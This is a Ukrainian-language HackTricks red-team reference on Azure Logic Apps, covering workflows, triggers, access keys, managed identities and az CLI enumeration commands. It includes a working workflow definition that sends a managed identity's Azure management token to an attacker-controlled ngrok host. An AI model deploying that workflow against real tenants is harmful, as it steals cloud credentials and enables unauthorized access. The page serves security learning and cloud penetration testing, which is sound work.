Az - Logic Apps

Reading time: 15 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Основна інформація

Azure Logic Apps дозволяє розробникам створювати та виконувати робочі процеси, які інтегрують різні сервіси, джерела даних та програми. Ці робочі процеси призначені для автоматизації бізнес-процесів, оркестрації завдань та виконання інтеграцій даних між різними платформами.

Logic Apps надає візуальний дизайнер для створення робочих процесів з широким спектром попередньо створених конекторів, що спрощує підключення та взаємодію з різними сервісами:

https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png

Варіанти хостингу

Існує кілька варіантів хостингу:

  • Споживання
  • Багатокористувацький: Це забезпечує спільні обчислювальні ресурси, працює в публічному хмарі та слідує моделі ціноутворення "плата за операцію". Це ідеально підходить для легких та економічних навантажень. Це те, що ми назвемо "Одиночний робочий процес".
  • Стандартний
  • План служби робочих процесів: Це забезпечує виділені обчислювальні ресурси з інтеграцією VNET для мережі та стягує плату за екземпляр плану служби робочих процесів. Він підходить для більш вимогливих навантажень, які потребують більшого контролю.
  • Середовище служби додатків V3: Це забезпечує виділені обчислювальні ресурси з повною ізоляцією та масштабованістю. Він також інтегрується з VNET для мережі та використовує модель ціноутворення на основі екземплярів служби додатків у середовищі.
  • Гібридний: Це призначено для локальної обробки та підтримки багатохмарних рішень. Він дозволяє використовувати керовані клієнтом обчислювальні ресурси з доступом до локальної мережі та використовує Kubernetes Event-Driven Autoscaling (KEDA). Він покладається на середовище контейнерних додатків.

"Одиночні" робочі процеси / План споживання

Робочий процес - це структурована послідовність автоматизованих кроків або завдань, які виконують певний процес або мету. Він визначає, як різні дії, умови та рішення взаємодіють для досягнення бажаного результату, спрощуючи операції та зменшуючи ручні зусилля.

tip

План споживання дозволяє створювати один робочий процес без необхідності в самій Logic App.

Тригери та дії

Тригери робочого процесу вказують коли робочий процес має початися. Тригери можуть бути HTTP-інтерфейсом, розкладом або десятками різних подій з Azure або навіть зовнішніх додатків.

Кожен робочий процес має різні дії. Ці дії - це кроки, які виконує робочий процес. В залежності від дії, різні параметри будуть доступні для налаштування, такі як:

  • Назва з'єднання: З'єднання, яке буде використовуватися, з яким дія буде взаємодіяти.
  • Тип аутентифікації: Різні варіанти - це Access Key, Microsoft Entra ID, інтегрована аутентифікація службового облікового запису та керована ідентичність Logic Apps.
  • З точки зору тільки для читання, дані Аутентифікації завжди цікаві, оскільки можуть містити чутливу інформацію.
  • З точки зору запису, дані Аутентифікації завжди цікаві, оскільки можуть дозволити використовувати дозволи призначених керованих ідентичностей.
  • ...

Дії також мають різні налаштування, які залежать від самої дії. Деякі з найпоширеніших налаштувань:

  • Політика повторних спроб: Налаштовує кількість повторних спроб та інтервал між ними.
  • Тайм-аут: Встановлює максимальний час, протягом якого дія може виконуватися, перш ніж вона завершиться.
  • Виконати після: Вказує умови, які повинні бути виконані перед виконанням дії.
  • Перевірка схеми: Забезпечує, щоб вхідні дані відповідали попередньо визначеній структурі.
  • Мережа: Налаштовує, як управляти різними заголовками.
  • Безпечні вхідні/вихідні дані: Це приховає вхідні/вихідні дані з історії виконання.
  • ...

Політики авторизації

Ці робочі процеси підтримують політики авторизації з Entra ID для захисту тригерів на основі запитів, вимагаючи дійсний токен доступу. Цей токен повинен містити специфічні вимоги:

  • Видавець (iss) для перевірки постачальника ідентичності
  • Аудиторія (aud) для забезпечення того, що токен призначений для Logic App
  • Суб'єкт (sub) для ідентифікації виклику
  • JWT ID (ідентифікатор JSON Web Token)
  • Користувацький запит

Коли запит отримується, Logic Apps перевіряє токен на відповідність цим вимогам і дозволяє виконання лише у разі їх відповідності налаштованій політиці. Це може бути використано для дозволу іншому орендарю викликати робочий процес або відмови у тригері з інших джерел, наприклад, дозволяючи тригер лише якщо він надходить з https://login.microsoftonline.com/.

Ключі доступу

Робочі процеси генерують 2 ключі доступу під час їх створення. Ці ключі використовуються для аутентифікації та авторизації запитів до робочого процесу. Ключі використовуються для генерації токена Shared Access Signature (SAS), який включається в URL запиту.

Отже, коли створюється тригер HTTP-інтерфейсу, генерується унікальний HTTP-інтерфейс з підписом SAS, який надає дозвіл на виклик робочого процесу.

Ці ключі можуть бути згенеровані заново і буде створено новий SAS URL для цих тригерів, але значення ключів не можуть бути доступні.

Приклад SAS URL для виклику тригера:

https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>

Налаштування робочого процесу та компоненти

  • Опція доступу до тригера: Ця настройка дозволяє обмежити, хто може запускати або починати ваш робочий процес. Варіанти: Будь-яка IP-адреса, Тільки інший робочий процес та Конкретні діапазони IP.
  • Обліковий запис інтеграції: Підключіть ваш робочий процес до облікового запису інтеграції.
  • Висока пропускна здатність: Якщо увімкнено, це дозволяє швидше обробляти більше запитів паралельно.
  • Збереження історії виконання: Це вказує на кількість днів, протягом яких зберігатиметься історія виконання.
  • API-з'єднання: Це показує різні API-з'єднання, які має робочий процес. У кожному з цих з'єднань є різні властивості та можливість редагувати API-з'єднання, де можна змінити тип автентифікації.
  • Історія: Має опцію доступу до історії старих виконань та отримання даних: Налаштування, Вихід, Параметри та Код.
  • Версії: Має опцію доступу до різних версій робочого процесу, де ви можете перевірити код і змінити поточний робочий процес на старішу версію.
  • Керовані ідентичності: Можливо призначити 1 системну керовану ідентичність та ідентичність користувача, що керується сервером, для робочого процесу.

Витік токенів доступу MI

HTTP-дія в робочому процесі може бути використана для відправки даних на зовнішній веб-сайт. У Розширених параметрах HTTP-дії можливо налаштувати Тип автентифікації як Managed identity і потім вибрати призначену керовану ідентичність для використання (системну або користувацьку).

Крім того, можливо вказати в Audience аудиторію згенерованого JWT, яка може бути, наприклад, https://management.azure.com/, щоб мати можливість використовувати згенерований токен для доступу до Azure management API.

warning

Зробивши так, щоб дія відправляла HTTP-запит на сервер, контрольований зловмисником, можливо викрити токен доступу керованої ідентичності, призначеної для робочого процесу.

tip

Зловмисник також може використовувати інші типи дій, щоб безпосередньо отримати доступ до інших служб Azure та виконувати дії з правами керованої ідентичності.

Це код робочого процесу, який відкриває HTTP-інтерфейс і потім використовує HTTP-дію для витоку токена доступу на налаштовану URL-адресу (ngrok у цьому випадку):

Код робочого процесу
json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}

Logic Apps / Standard Plan

Відмінності з "Одиночними" Робочими Процесами

Logic apps в основному використовують App Service у фоновому режимі для хостингу логічного додатку, який може хостити кілька робочих процесів. Це означає, що логічний додаток матиме всі функції App Service та "Одиночних" Робочих Процесів.

Деякі ключові функції:

  • App Service Plan: Logic Apps у стандартному плані хостяться на App Service Plan, тому можливо використовувати всі функції App Service, такі як:
  • Обмеження Мережі: Вказати, звідки доступно.
  • Центр Розгортання: Розгортати з зовнішніх платформ, таких як Github, Bitbucket, Azure Repos, External Git та Local Git.
  • Доступ через FTP: Можливо отримати доступ до файлів Logic App через FTP.
  • Обліковий запис зберігання: Сервісний додаток використовує обліковий запис зберігання для зберігання інформації.
  • Змінні середовища та Налаштування Додатків: Можливо налаштувати змінні середовища та налаштування додатків (і знайти чутливу інформацію, таку як ключі доступу до облікового запису зберігання).
  • ...
  • Параметри: Параметри дозволяють керувати значеннями, які змінюються між розробкою, тестуванням та виробництвом. Це дозволяє спочатку проектувати робочі процеси, а потім легко налаштовувати специфічні для середовища налаштування пізніше.
  • Виділені Ресурси: Logic Apps у стандартному плані мають виділені ресурси.
  • Кілька Робочих Процесів: Дозволяє створювати кілька робочих процесів.

Для отримання додаткової інформації про App Services перегляньте:

Az - Azure App Services

Перерахування

bash
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>

# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"

# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"

# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"

# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"

# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>

# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>

# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>

# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"

# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"

# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"

# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"


Інтеграційні облікові записи

Інтеграційні облікові записи - це функція Azure Logic Apps. Інтеграційні облікові записи використовуються для полегшення інтеграцій на рівні підприємства, забезпечуючи розширені можливості B2B, такі як EDI, AS2 та управління XML-схемами. Інтеграційні облікові записи є контейнером в Azure, який зберігає наступні артефакти, що використовуються для Logic Apps:

  • Схеми: Управління XML-схемами для валідації та обробки повідомлень у вашому інтеграційному обліковому записі.
  • Картки: Налаштування трансформацій на основі XSLT для перетворення форматів даних у ваших інтеграційних робочих процесах.
  • Збірки: Управління збірками інтеграційного облікового запису для оптимізації логіки та обробки даних.
  • Сертифікати: Обробка сертифікатів для шифрування та підписування повідомлень, забезпечуючи безпечну комунікацію.
  • Партнери: Управління інформацією про торгових партнерів для B2B-транзакцій, що забезпечує безперебійну інтеграцію.
  • Угоди: Налаштування правил і параметрів для обміну даними з торговими партнерами (наприклад, EDI, AS2).
  • Конфігурації пакетної обробки: Управління конфігураціями пакетної обробки для групування та ефективної обробки повідомлень.
  • RosettaNet PIP: Налаштування процесів інтерфейсу партнерів RosettaNet (PIP) для стандартизації B2B-комунікації.

Перерахування

bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>

# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>

az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>

# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>

# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>

# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>

# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>


Підвищення Привілеїв

Те ж саме, що і privesc логічних додатків:

Az - Logic Apps Privesc

Постексплуатація

Az - Logic Apps Post Exploitation

Персистентність

Az - Logic Apps Persistence

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks